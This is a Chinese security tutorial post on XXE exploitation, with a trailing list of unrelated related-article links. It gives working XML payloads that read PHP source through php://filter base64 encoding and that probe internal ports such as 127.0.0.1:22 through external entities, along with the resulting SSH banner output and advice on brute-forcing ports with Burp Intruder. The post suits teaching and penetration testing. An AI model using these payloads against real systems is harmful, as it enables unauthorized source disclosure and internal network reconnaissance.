当前位置: 首页 > news >正文

XXE漏洞3-通过 XXE 漏洞实现文件读取及端口探测

一.如何通过XXE漏洞读取php文件。

        前面文章我们已经演示了通过file:///去读取文件,通过XXE漏洞php文件是读取不到的,我们

该如何读取php文件呢?

我们可以通过一下代码实现读取php文件。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
我们得到了一串base64编码:
 PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGEgPSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbCkgOwplY2hvICI8cHJlPiIgOwpwcmludF9yKCRkYXRhKSA7CmVjaG8gIjwvcHJlPiIgOwo/Pgo=

再对base64编码进行解码:

就可以查看到php文件了:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

二.端口探测方式

类似于SSRF漏洞一样进行端口探测,实现起来也非常的简单,代码如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:22" >]>
<root>
<name>&xxe;</name>
</root>

通过实体解析到内网网段22端口。

端口开放返回端口 banner 信息,端口关闭返回 Connection refused

我们看到是有回显的并且包含报错信息:

Warning: simplexml_load_string(http://127.0.0.1:22) [function.simplexml-load-string]: failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 in /var/www/xxe.php on line 3

这条可以看到虽然报错failed to open stream: HTTP request failed! 但还是显示SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

Warning: simplexml_load_string() [function.simplexml-load-string]: I/O warning : failed to load external entity "http://127.0.0.1:22" in /var/www/xxe.php on line 3

这条报错暴露了文件位置以及是simplexml-load-string导致的错误。

可通过 burpsuite 或脚本实现批量探测

如此一来我们就可以探测到端口信息,并且可以使用bp进行暴力枚举:

通过intruder模块进行暴力枚举,设置0-443(实战你们可以直接65545).

然后我们可以通过回显长度进行判断端口存活情况:

以上就是我们的文件读取以及端口探测的方式。

总结:

1)通过php://filter协议以base64编码格式读取PHP文件内容,解码后可获取源代码;

2)结合SSRF技术进行端口探测,通过响应信息判断目标端口开放状态,并可结合BurpSuite批量探测。这两种方法分别实现了敏感文件读取和网络探测功能,其中端口探测会返回banner信息并可能暴露文件路径,通过响应长度差异可判断端口存活情况。

http://www.dtcms.com/a/283078.html

相关文章:

  • 开源Agent平台Dify源码剖析系列(四)核心模块core/agent之CotAgentRunner
  • SMTPman,发送邮件服务器smtp的功能详解!
  • 统计功效是什么?
  • ST17H36 蓝牙Soc开发(4)—— 外设应用1
  • mac电脑无法阅读runc源码
  • 【网易云-header】
  • HarmonyOS从入门到精通:自定义组件开发指南(九):组件复合与组合模式探秘
  • S7-1200 数字量模块接线:从源型 / 漏型到信号板扩展全解析
  • 【Tools】Saleae Logic 16软件安装教程
  • 【人工智能99问】损失函数有哪些,如何选择?(6/99)
  • 道可云人工智能每日资讯|天津市人工智能(AI+信创)创新生态联盟成立
  • 手撕设计模式之消息推送系统——桥接模式
  • MyBatis详解以及在IDEA中的开发
  • TRAE + Milvus MCP:用自然语言 0 门槛玩转向量数据库
  • 第五章 OB 分布式事务高级技术
  • 【Unity基础】Unity中的Pivot vs Center 小实验步骤列表 + 截图指引
  • 股票基金量化开源平台对比
  • 用AI破解数据质量难题
  • 【前端】CSS类命名规范指南
  • 主流 TOP5 AI智能客服系统对比与推荐
  • 高效开发利器:用宝塔面板快速搭建 PHP 开发环境教程
  • Android开发知识点总结合集
  • 微服务引擎 MSE 及 API 网关 2025 年 4 月产品动态
  • Docker 安装和配置 MySQL 8.0.36 的详细步骤
  • @[TOC](斐波那契数列模型)
  • RHCSA(配置本地yum源仓库)
  • 【Canvas与文字】“浪急方舟静 山险马背平”中堂
  • 【Datawhale AI 夏令营】电商评论用户洞察
  • 亚马逊广告优化策略:如何通过预算管理提升投放效果?
  • @classmethod